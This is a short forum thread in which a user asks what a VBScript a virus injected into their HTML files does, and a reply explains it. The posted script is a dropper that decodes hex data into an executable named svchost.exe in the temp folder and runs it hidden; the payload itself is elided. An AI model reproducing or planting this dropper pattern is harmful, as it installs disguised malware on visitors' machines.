1 Replies - 1351 Views - Last Post: 25 March 2012 - 03:40 AM Rate Topic: -----

#1 ngoaho  Icon User is offline

  • New D.I.C Head

Reputation: 0
  • View blog
  • Posts: 5
  • Joined: 25-August 11

What does this vb script do?

Posted 24 March 2012 - 11:50 PM

<script Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "....... a huge hex code here"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>


i see that a virus write this script in all of my html files
i don't know what it does on my system.

Is This A Good Question/Topic? 0
  • +

Replies To: What does this vb script do?

#2 JackOfAllTrades  Icon User is offline

  • Saucy!
  • member icon

Reputation: 6090
  • View blog
  • Posts: 23,600
  • Joined: 23-August 08

Re: What does this vb script do?

Posted 25 March 2012 - 03:40 AM

It looks for a file named svchost.exe in the Windows temporary folder (GetSpecialFolder(2)) and if it's not there, creates one with obviously bad executable code, then runs it.

So glad I use a Mac.

See also this, which is the first result of a Google search on DropFileName = "svchost.exe"
Was This Post Helpful? 0
  • +
  • -

Page 1 of 1